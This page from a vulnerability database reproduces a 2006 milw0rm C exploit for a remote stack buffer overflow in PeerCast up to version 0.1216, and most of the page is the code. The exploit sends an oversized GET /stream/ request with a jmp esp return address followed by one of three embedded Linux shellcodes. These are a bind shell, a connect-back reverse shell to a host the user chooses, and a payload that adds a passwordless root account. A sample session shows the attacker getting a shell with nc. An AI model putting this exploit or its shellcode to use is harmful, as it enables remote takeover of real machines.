Lucene search
K

PeerCast <= 0.1216 (nextCGIarg) Remote Buffer Overflow Exploit

🗓️ 11 Mar 2006 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 10 Views

PeerCast <= v0.1216 Remote Buffer Overflow Exploit identified, allows arbitrary code execution due to insufficient bounds checking. Multiple vulnerable distributions. Example usage available

Code

                                                /* GNU PeerCast &lt;= v0.1216 Remote Exploit
 * ======================================
 * PeerCast is a simple, free way to listen to radio and watch video on the internet. A 
 * remotely exploitable buffer overflow has been identified by INFIGO-2006-03-01 which 
 * can be potentially exploited to execute arbitrary code due to insufficient bounds
 * checking on a memory copy operation occuring on the stack. All versions upto and
 * prior to v0.1216 are believed to be vulnerable. Return address does a &quot;jmp esp&quot; which
 * references the start of our shellcode and as such will work on multiple distributions
 * and VA randomized hosts.
 * 
 * Example.
 * matthew@localhost ~/code/exploits $ ./prdelka-vs-GNU-peercast -s 123.123.123.123 -c 0 -t 1 -x 31337
 * [ GNU PeerCast &lt;= v0.1216 remote exploit
 * [ Using shellcode 'Linux bind() shellcode (4444/tcp default)' (84 bytes)
 * [ Using target '(GNU peercast v0.1212) 2.6.14-gentoo-r2 (Gentoo 3.3.5.20050130-r1)'
 * [ Connected to 123.123.123.123 (7144/tcp)
 * [ Sent 883 bytes to target
 * matthew@localhost ~/code/exploits $ nc 123.123.123.123 31337
 * id
 * uid=65534(nobody) gid=65534(nobody) groups=65534(nobody)
 * 
 *  -prdelka
 */
#include &lt;sys/types.h&gt;
#include &lt;sys/socket.h&gt;
#include &lt;netinet/in.h&gt;
#include &lt;arpa/inet.h&gt;
#include &lt;netdb.h&gt;
#include &lt;stdio.h&gt;
#include &lt;unistd.h&gt;
#include &lt;stdlib.h&gt;
#include &lt;getopt.h&gt;
#include &lt;signal.h&gt;

struct target {
	char* name; 
	int retaddr;	
};

struct shellcode {
	char* name;	
	int port;
	int host;
	char* shellcode;	
};

const int targetno = 2;

struct target targets[] = { 
	{&quot;(GNU peercast v0.1212) 2.4.28-gentoo-r8 (Gentoo Linux 3.3.5-r1)&quot;,0x080918AF},
	{&quot;(GNU peercast v0.1212) 2.6.14-gentoo-r2 (Gentoo 3.3.5.20050130-r1)&quot;,0x080918AF}
};

const int shellno = 3;

struct shellcode shellcodes[] = {
	{&quot;Linux bind() shellcode (4444/tcp default)&quot;,20,-1,
	&quot;\x31\xdb\x53\x43\x53\x6a\x02\x6a\x66\x58\x99\x89\xe1\xcd\x80\x96&quot;
	&quot;\x43\x52\x66\x68\x11\x5c\x66\x53\x89\xe1\x6a\x66\x58\x50\x51\x56&quot;
	&quot;\x89\xe1\xcd\x80\xb0\x66\xd1\xe3\xcd\x80\x52\x52\x56\x43\x89\xe1&quot;
	&quot;\xb0\x66\xcd\x80\x93\x6a\x02\x59\xb0\x3f\xcd\x80\x49\x79\xf9\xb0&quot;
	&quot;\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53&quot;
	&quot;\x89\xe1\xcd\x80&quot;},
	{&quot;Linux connect() shellcode (4444/tcp default)&quot;,32,26,
	&quot;\x31\xdb\x53\x43\x53\x6a\x02\x6a\x66\x58\x89\xe1\xcd\x80\x93\x59&quot;
	&quot;\xb0\x3f\xcd\x80\x49\x79\xf9\x5b\x5a\x68\x01\x02\x03\x04\x66\x68&quot;
	&quot;\x11\x5c\x43\x66\x53\x89\xe1\xb0\x66\x50\x51\x53\x89\xe1\x43\xcd&quot;
	&quot;\x80\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53&quot;
	&quot;\x89\xe1\xb0\x0b\xcd\x80&quot;},
	{&quot;Linux add user 'syscfg' with {null} password and UID 0&quot;,-1,-1,
	&quot;\x31\xC0\x50\x68\x73\x73\x77\x64\x68\x2F\x2F\x70\x61\x68\x2F\x65&quot;
	&quot;\x74\x63\x89\xE6\x31\xD2\x31\xC9\xB1\x01\x89\xF3\x31\xC0\xB0\x05&quot;
	&quot;\xCD\x80\x50\x89\xE6\x31\xC0\xB0\x13\x8B\x1E\x31\xC9\x31\xD2\xB2&quot;
	&quot;\x02\xCD\x80\x31\xC0\xB0\x04\x8B\x1E\x31\xC9\x51\x68\x61\x73\x68&quot;
	&quot;\x0A\x68\x69\x6E\x2F\x62\x68\x74\x3A\x2F\x62\x68\x2F\x72\x6F\x6F&quot;
	&quot;\x68\x63\x66\x67\x3A\x68\x66\x6F\x72\x20\x68\x73\x65\x72\x20\x68&quot;
	&quot;\x65\x6D\x20\x75\x68\x73\x79\x73\x74\x68\x30\x3A\x30\x3A\x68\x66&quot;
	&quot;\x67\x3A\x3A\x68\x73\x79\x73\x63\x89\xE1\x31\xD2\xB2\x30\xCD\x80&quot;
	&quot;\x31\xC0\xB0\x06\x8B\x1E\xCD\x80&quot;}
};

void dummyhandler(){
}

int main (int argc, char *argv[]) {
	int sd, rc, i, c, ret, payg, paya, payb, eip, ishell = 0, port = 7144, ihost = 0, itarg = 0;
	int count, offset, ioffset, index = 0;
	short shellport;
	char *host, *buffer, *buffer2, *payload;
	struct sockaddr_in localAddr, servAddr;
	struct hostent *h, *rv;
        static struct option options[] = {
        	{&quot;server&quot;, 1, 0, 's'},
	        {&quot;port&quot;, 1, 0, 'p'},
        	{&quot;target&quot;, 1, 0, 't'},
		{&quot;shellcode&quot;, 1, 0, 'c'},
		{&quot;shellport&quot;, 1, 0, 'x'},
		{&quot;shellhost&quot;, 1, 0, 'i'},
		{&quot;help&quot;, 0, 0,'h'}
        };
	printf(&quot;[ GNU PeerCast &lt;= v0.1216 remote exploit\n&quot;);
	while(c != -1)
	{
	        c = getopt_long(argc,argv,&quot;s:p:t:c:x:i:h&quot;,options,&amp;index);	
        	switch(c) {
               		case -1:
	                        break;
        	        case 's':
				if(ihost==0){
				h = gethostbyname(optarg);				
				if(h==NULL){
					printf(&quot;[ Error unknown host '%s'\n&quot;,optarg);
					exit(1);
				}
				host = malloc(strlen(optarg) + 1);
				sprintf(host,&quot;%s&quot;,optarg);
				ihost = 1;
				}
               			break;
	                case 'p':
				port = atoi(optarg);
                	        break;
			case 'c':
				if(ishell==0)
				{
				payg = atoi(optarg);
				switch(payg){
				case 0:		
					printf(&quot;[ Using shellcode '%s' (%d bytes)\n&quot;,shellcodes[payg].name,strlen(shellcodes[payg].shellcode));		
					payload = malloc(strlen(shellcodes[payg].shellcode)+1);
					memset(payload,0,strlen(shellcodes[payg].shellcode)+1);
					memcpy((void*)payload,(void*)shellcodes[payg].shellcode,strlen(shellcodes[payg].shellcode));
					ishell = 1;
					break;
				case 1:
                                       printf(&quot;[ Using shellcode '%s' (%d bytes)\n&quot;,shellcodes[payg].name,strlen(shellcodes[payg].shellcode));
                                       payload = malloc(strlen(shellcodes[payg].shellcode)+1);
	                               memset(payload,0,strlen(shellcodes[payg].shellcode)+1);
	                               memcpy((void*)payload,(void*)shellcodes[payg].shellcode,strlen(shellcodes[payg].shellcode));
	                               ishell = 1;
	                               break;
                                case 2:
                                       printf(&quot;[ Using shellcode '%s' (%d bytes)\n&quot;,shellcodes[payg].name,strlen(shellcodes[payg].shellcode));
                                       payload = malloc(strlen(shellcodes[payg].shellcode)+1);
                                       memset(payload,0,strlen(shellcodes[payg].shellcode)+1);
        	                       memcpy((void*)payload,(void*)shellcodes[payg].shellcode,strlen(shellcodes[payg].shellcode));
	                               ishell = 1;
				       break;
				default:
					printf(&quot;[ Invalid shellcode selection %d\n&quot;,payg);
					exit(0);
					break;
				}
				}
				break;
			case 'x':
				if(ishell==1)
				{
					if(shellcodes[payg].port &gt; -1)
					{
						paya = strlen(payload);
						shellport = atoi(optarg);
						shellport =(shellport&amp;0xff)&lt;&lt;8 | shellport&gt;&gt;8;
						memcpy(&amp;payload[shellcodes[payg].port],&amp;shellport,sizeof(shellport));
						if(paya &gt; strlen(payload))
						{
							printf(&quot;[ Shellcode port introduces null bytes\n&quot;);
							exit(1);
						}
					}
					else{
						printf(&quot;[ (%s) port selection is ignored for current shellcode\n&quot;,optarg);
					}
				}
				else{
					printf(&quot;[ No shellcode selected yet, ignoring (%s) port selection\n&quot;,optarg);
					break;
				}
				break;
			case 'i':
				if(ishell==1)
				{
					if(shellcodes[payg].host &gt; -1)
					{
						paya = strlen(payload);
						rv = gethostbyname(optarg);
						if(h==NULL){
							printf(&quot;[ Error unknown host '%s'\n&quot;,optarg);
							exit(1);
						}
						memcpy(&amp;payload[shellcodes[payg].host],rv-&gt;h_addr_list[0], rv-&gt;h_length);
						if(paya &gt; strlen(payload))
						{
							printf(&quot;[ Shellhost introduces null bytes\n&quot;);
							exit(1);
						}
					}
					else{
						printf(&quot;[ (%s) shellhost selection is ignored for current shellcode\n&quot;,optarg);
					}
				}
				else{
					printf(&quot;[ No shellcode selected yet, ignoring (%s) shellhost selection\n&quot;,optarg);
				}
				break;
	                case 't':
				if(itarg==0){
				ret = atoi(optarg);			
				switch(ret){
					case 0:				
						printf(&quot;[ Using target '%s'\n&quot;,targets[ret].name);
						eip = targets[ret].retaddr;
						break;
                                        case 1:
                                                printf(&quot;[ Using target '%s'\n&quot;,targets[ret].name);
                                                eip = targets[ret].retaddr;
                                                break;
					default:
						eip = strtoul(optarg,NULL,16);
						printf(&quot;[ Using return address '0x%x'\n&quot;,eip);
						break;
				}
				itarg = 1;
				}
        	                break;
			case 'h':			
				printf(&quot;[ Usage instructions.\n[\n&quot;);				
				printf(&quot;[ %s &lt;required&gt; (optional)\n[\n[   --server|-s &lt;ip/hostname&gt;\n&quot;,argv[0]);
				printf(&quot;[   --port|-p (port)[default 7144]\n[   --shellcode|-c &lt;shell#&gt;\n&quot;);
				printf(&quot;[   --shellport|-x (port)\n&quot;);
				printf(&quot;[   --shellhost|-i (ip/hostname)\n&quot;);
				printf(&quot;[   --target|-t &lt;target#/0xretaddr&gt;\n[\n&quot;);
				printf(&quot;[ Target#'s\n&quot;);
				for(count = 0;count &lt;= targetno - 1;count++){
					printf(&quot;[ %d %s 0x%x\n&quot;,count,targets[count],targets[count]);
				}
				printf(&quot;[\n[ Shellcode#'s\n&quot;);
				for(count = 0;count &lt;= shellno - 1;count++){
					printf(&quot;[ %d \&quot;%s\&quot; (length %d bytes)\n&quot;,count,shellcodes[count].name,strlen(shellcodes[count].shellcode));
				}
				exit(0);
				break;
			default:
                		break;
	        }
	}
	if(itarg != 1 || ihost  != 1 || ishell != 1){
		printf(&quot;[ Error insufficient arguements, try running '%s --help'\n&quot;,argv[0]);
		exit(1);
	}
	signal(SIGPIPE,dummyhandler);
        servAddr.sin_family = h-&gt;h_addrtype;
	memcpy((char *) &amp;servAddr.sin_addr.s_addr, h-&gt;h_addr_list[0], h-&gt;h_length);
	servAddr.sin_port = htons(port);
	sd = socket(AF_INET, SOCK_STREAM, 0);
	if(sd&lt;0) {
		printf(&quot;[ Cannot open socket\n&quot;);	
		exit(1);
	}
	rc = connect(sd, (struct sockaddr *) &amp;servAddr, sizeof(servAddr));
	if(rc&lt;0) {
		printf(&quot;[ Cannot connect\n&quot;);
		exit(1);
	}		
	printf(&quot;[ Connected to %s (%d/tcp)\n&quot;,host,port);	
	buffer = malloc(2048 + strlen(payload) + sizeof(eip));
	memset(buffer,0,2048 + strlen(payload) + sizeof(eip));
	strcpy(buffer,&quot;GET /stream/?&quot;);
	for(count = 0;count &lt;= 779;count++){
		strcat(buffer,&quot;A&quot;);
	}
	buffer2 = (char*)((int)buffer + (int)strlen(buffer));
	memcpy((void*)buffer2,(void*)&amp;eip,sizeof(eip));
	buffer2 = (char*)((int)buffer2 + sizeof(eip));
	memcpy((void*)buffer2,(void*)payload,strlen(payload));
	strcat(buffer2,&quot;\r\n&quot;);
	rc = send(sd,buffer,strlen(buffer),0);
	printf(&quot;[ Sent %d bytes to target\n&quot;,rc);
}

// milw0rm.com [2006-03-11]

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation